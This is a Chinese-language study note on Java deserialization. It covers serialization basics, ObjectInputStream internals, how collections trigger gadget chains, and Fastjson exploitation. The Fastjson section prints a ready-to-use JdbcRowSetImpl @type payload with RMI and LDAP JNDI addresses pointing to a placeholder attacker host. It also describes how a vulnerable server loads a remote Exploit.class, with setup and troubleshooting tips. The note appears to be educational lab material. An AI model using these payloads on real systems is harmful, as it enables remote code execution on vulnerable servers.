概念

序列化和反序列化的区别

  • 序列化:把Java对象转换为字节序列的过程
  • 反序列化:把字节序列转化为Java对象的过程

出现点

  1. 功能特性
    • 反序列化操作一般应用在导入模板文件、网络连通、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,因此审计过程应重点关注这些功能模块
  2. 数据特性
    • 一段数据以rO0AB开头,基本可以确定是JAVA序列化base64加密的数据
    • 以aced开头,是java序列化数据的16进制
  3. 具体出现
    • 网络通信:RMI、JMX、JMS、RPC框架(如Dubbo)或使用原生Java序列化协议的Socket通信。
    • Web应用:通过HTTP请求参数、Cookie、Session(HttpSession存储于文件或Redis)传入并反序列化用户可控的对象。
    • 缓存与持久化:从文件系统或缓存(如Redis、Ehcache)读取序列化对象(.ser文件或字节流)。
    • 第三方组件:使用了存在不安全反序列化漏洞的第三方库(如Apache Commons Collections, Spring, Fastjson等)。

常见情况

  • XML&SOAP
    • XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(SimpleObject Access protocol)是一种被广泛应用的,基于XML 为序列化和反序列化协议的结构化消息传递协议
  • JSON
  • Protobuf

利用

Ysoseria集成的jar配合生成、特性的专业漏洞利用工具等

序列化的实现

什么是序列化和反序列化

Java描述的是一个‘世界’,程序运行开始时,这个‘世界’也开始运作,但‘世界’中的对象不是一成不变的,它的属性会随着程序的运行而改变。
但很多情况下,我们需要保存某一刻某个对象的信息,来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储。

一个类的对象要想序列化成功,必须满足两个条件:

  1. 该类必须实现 java.io.Serializable 接口。
  2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

识别

序列化的 Java 对象总是以固定的字节开头,这些字节在十六进制格式下被编码为 ac ed ,而在 Base64 格式下则被编码为 rO0 。

ObjectOutputStream

ObjectOutputStream 继承的父类或实现的接口如下:

  • 父类 OutputStream:所有字节输出流的顶级父类,用来接收输出的字节并发送到某些接收器(sink)。
  • 接口 ObjectOutput:ObjectOutput 扩展了 DataOutput 接口,DataOutput 接口提供了将数据从任何 Java 基本类型转换为字节序列并写入二进制流的功能,ObjectOutput 在 DataOutput 接口基础上提供了 writeObject 方法,也就是类(Object)的写入。
  • 接口 ObjectStreamConstants:定义了一些在对象序列化时写入的常量。常见的一些的比如 STREAM_MAGIC、STREAM_VERSION 等。

通过这个类的父类及父接口,我们大概可以理解这个类提供的功能:能将 Java 中的类、数组、基本数据类型等对象转换为可输出的字节,也就是序列化。接下来看一下这个类中几个关键方法。

writeObject

这是 ObjectOutputStream 对象的核心方法之一,用来将一个对象写入输出流中,任何对象,包括字符串和数组,都是用 writeObject 写入到流中的。

之前说过,序列化的过程,就是将一个对象当前的状态描述为字节序列的过程,也就是 Object → OutputStream 的过程,这个过程由 writeObject 实现。writeObject 方法负责为指定的类编写其对象的状态,以便在后面可以使用与之对应 readObject 方法来恢复它。

writeUnshared

用于将非共享对象写入 ObjectOutputStream,并将给定的对象作为刷新对象写入流中。

使用 writeUnshared 方法会使用 BlockDataOutputStream 的新实例进行序列化操作,不会使用原来 OutputStream 的引用对象。

writeObject0

writeObject 和 writeUnshared 实际上调用 writeObject0 方法,也就是说 writeObject0是上面两个方法的基础实现。具体的实现流程将会在后面再进行详细研究。

writeObjectOverride

如果 ObjectOutputStream 中的 enableOverride 属性为 true,writeObject 方法将会调用 writeObjectOverride,这个方法是由 ObjectOutputStream 的子类实现的。

在由完全重新实现 ObjectOutputStream 的子类完成序列化功能时,将会调用实现类的 writeObjectOverride 方法进行处理。

ObjectInputStream

ObjectInputStream 继承的父类或实现的接口如下:

  • 父类 InputStream:所有字节输入流的顶级父类。
  • 接口 ObjectInput:ObjectInput 扩展了 DataInput 接口,DataInput 接口提供了从二进制流读取字节并将其重新转换为 Java 基础类型的功能,ObjectInput 额外提供了 readObject 方法用来读取类。
  • 接口 ObjectStreamConstants:同上。

ObjectInputStream 实现了反序列化功能,看一下其中的关键方法。

readObject

从 ObjectInputStream 读取一个对象,将会读取对象的类、类的签名、类的非 transient 和非 static 字段的值,以及其所有父类类型。

我们可以使用 writeObject 和 readObject 方法为一个类重写默认的反序列化执行方,所以其中 readObject 方法会 “传递性” 的执行,也就是说,在反序列化过程中,会调用反序列化类的 readObject 方法,以完整的重新生成这个类的对象。

readUnshared

从 ObjectInputStream 读取一个非共享对象。 此方法与 readObject 类似,不同点在于readUnshared 不允许后续的 readObject 和 readUnshared 调用引用这次调用反序列化得到的对象。

readObject0

readObject 和 readUnshared 实际上调用 readObject0 方法,readObject0是上面两个方法的基础实现。

readObjectOverride

由 ObjectInputStream 子类调用,与 writeObjectOverride 一致。

通过上面对 ObjectOutputStream 和 ObjectInputStream 的了解,两个类的实现几乎是一种对称的、双生的方式进行。

集合和反序列化的关系

HashMap 和反序列化的关系

学习 Java 反序列化时,HashMap 很重要。

因为 HashMap 在存储和恢复数据时,经常会计算 key 的 hash 值。

计算 hash 值时,会调用 key 对象的:

hashCode()

如果发生 hash 冲突,还可能调用:

equals()

所以在反序列化中,经常关注:

HashMap → key.hashCode()
HashMap → key.equals()

例如 URLDNS 链中,就利用了这个特点。

大致流程可以理解成:

反序列化 HashMap
    ↓
恢复里面的 key-value
    ↓
HashMap 重新计算 key 的 hash
    ↓
调用 key.hashCode()
    ↓
如果 key 是特殊对象,就可能触发后续行为

所以学习 HashMap 不是为了背所有方法,而是为了知道:

HashMap 在某些情况下会自动调用 key 的 hashCode() 和 equals()。

TreeMap 和反序列化的关系

因为 TreeMap 需要排序,所以在插入数据或恢复数据时,可能会触发比较逻辑。

反序列化中需要关注:

TreeMap → compare()
TreeMap → compareTo()

看到 TreeMap,要想到:

它可能通过排序逻辑触发 compare() / compareTo()。

PriorityQueue 和反序列化的关系

PriorityQueue 是优先队列,内部需要维护元素的优先级顺序。

在插入元素、调整队列结构、反序列化恢复队列结构时,可能会触发比较逻辑。

比较逻辑通常来自:

compare() compareTo()

所以在反序列化链中,PriorityQueue 经常被用来触发 Comparator.compare(),进而进入后续 gadget 链。

可以这样理解:

反序列化 PriorityQueue
    ↓
恢复队列元素
    ↓
重新调整堆结构
    ↓
触发 compare() / compareTo()
    ↓
进入后续调用链

集合和反序列化总结

学习 Java 反序列化时,集合不是为了全背方法,而是为了理解哪些集合会自动触发哪些方法。

可以这样记:

HashMap:
双列集合,存 key-value。
key 不能重复,value 可以重复。
重点关注 hashCode() 和 equals()。
 
HashSet:
单列集合,元素不能重复。
底层和 HashMap 有关。
重点关注 hashCode() 和 equals()。
 
PriorityQueue:
优先队列,会排序。
重点关注 compare() 和 compareTo()。
 
TreeMap:
有序双列集合,按照 key 排序。
重点关注 compare() 和 compareTo()。
 
TreeSet:
有序单列集合,底层和 TreeMap 有关。
重点关注 compare() 和 compareTo()。

反序列化视角下:

HashMap / HashSet:
主要看 hashCode() 和 equals()。
 
PriorityQueue / TreeMap / TreeSet:
主要看 compare() 和 compareTo()。

常见框架

Fastjson

Fastjson 是阿里巴巴开源的 JSON 解析库,常见于 Java Web 应用中。它的作用是把 JSON 字符串转换成 Java 对象。

正常情况下:

JSON 字符串
    ↓
Fastjson 解析
    ↓
普通 Java 对象

但 Fastjson 支持一个特殊字段:

{
  "@type": "com.xxx.User"
}

@type 的作用是告诉 Fastjson:

请按照指定的 Java 类来创建对象

如果服务端允许用户控制 @type,攻击者就可以让 Fastjson 实例化一些危险类,从而触发这些类内部的危险方法。

所以 Fastjson 反序列化漏洞的核心不是传统的 ObjectInputStream,而是:

用户可控 JSON
    ↓
Fastjson 根据 @type 创建危险类
    ↓
调用 setter / getter / 构造方法 / 特殊逻辑
    ↓
触发 JNDI、命令执行、文件加载等危险行为

一句话:

Fastjson 漏洞本质是 不安全的类型解析 / 不安全对象实例化。


经典 JdbcRowSetImpl 链

常见 payload:

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://攻击机IP:1099/Exploit",
  "autoCommit": true
}

这里的关键类是:

com.sun.rowset.JdbcRowSetImpl

它原本是 Java 里和数据库连接相关的类。这个类中有一个属性:

dataSourceName

它可以接受一个 JNDI 地址,例如:

rmi://攻击机IP:1099/Exploit
ldap://攻击机IP:1389/Exploit

当 Fastjson 解析 payload 时,大致流程是:

Fastjson 看到 @type
    ↓
创建 JdbcRowSetImpl 对象
    ↓
设置 dataSourceName = rmi://攻击机IP:1099/Exploit
    ↓
设置 autoCommit = true
    ↓
触发 connect()
    ↓
connect() 内部调用 InitialContext.lookup(dataSourceName)
    ↓
触发 JNDI lookup

也就是说,Fastjson 本身没有直接执行命令,而是它创建的危险类触发了 JNDI。


RMI 利用流程

以 RMI 为例,完整链路如下:

攻击者构造 Fastjson payload
        ↓
服务端 Fastjson 解析 JSON
        ↓
实例化 JdbcRowSetImpl
        ↓
调用 JNDI lookup
        ↓
访问攻击者的 RMI 服务
        ↓
RMI 返回 Reference
        ↓
Reference 指向攻击者 HTTP 服务上的 class 文件
        ↓
靶机下载 Exploit.class
        ↓
加载 class,触发 static 代码块
        ↓
代码执行

图里所谓的 RMI 服务器,准确说是:

攻击者控制的 JNDI / RMI Reference Server

它不是普通 Web 服务,而是负责返回一个 Reference 对象,告诉靶机:

你要加载的类在这里:
http://攻击机IP:8000/#Exploit

所以实际利用时通常需要两个服务:

1099 端口:RMI 服务,返回 Reference
8000 端口:HTTP 服务,托管 Exploit.class

为什么还需要 HTTP 服务

RMI 服务本身一般不直接提供 .class 文件,它只是告诉靶机去哪里下载 class。

完整关系:

rmi://攻击机IP:1099/Exploit
        ↓
RMI 返回 Reference
        ↓
Reference 里面写着:
http://攻击机IP:8000/#Exploit
        ↓
靶机访问:
http://攻击机IP:8000/Exploit.class

所以:

RMI 服务:负责 JNDI lookup
HTTP 服务:负责提供恶意 class 文件

如果只启动 RMI,不启动 HTTP,经常会出现:

RMI 有连接
但是没有执行效果
HTTP 没有 GET /Exploit.class

这说明靶机拿到了 Reference,但没有成功下载 class。


LDAP 利用流程

LDAP 和 RMI 思路类似,只是协议换了。

Fastjson payload
    ↓
JdbcRowSetImpl
    ↓
InitialContext.lookup("ldap://攻击机IP:1389/Exploit")
    ↓
访问攻击者 LDAP 服务
    ↓
LDAP 返回 Reference
    ↓
靶机加载远程 class 或触发本地 gadget

常见地址:

ldap://攻击机IP:1389/Exploit

RMI 和 LDAP 的区别:

项目RMILDAP
协议Java 远程方法调用目录访问协议
常见端口1099389 / 1389
是否属于 JNDI是是
Fastjson 中的作用JNDI lookup 通道JNDI lookup 通道

一句话:

RMI 和 LDAP 不是一个东西,但都可以作为 JNDI lookup 的后端协议。


利用条件

Fastjson JNDI 利用通常需要满足几个条件:

1. 服务端使用存在风险的 Fastjson 版本
2. 服务端允许解析用户传入的 JSON
3. 用户可以控制 @type
4. 目标类在服务端 classpath 中存在
5. 触发链能够调用危险方法
6. 靶机能访问攻击机的 RMI / LDAP / HTTP 服务
7. 目标 JDK 没有完全限制远程 class 加载

尤其要注意 JDK 版本。

很多靶场失败不是 payload 写错,而是:

RMI / LDAP 访问成功
但是远程 class 加载被 JDK 安全策略拦截

常见现象:

RMI 服务有连接
HTTP 服务没有收到 Exploit.class 请求
没有命令执行效果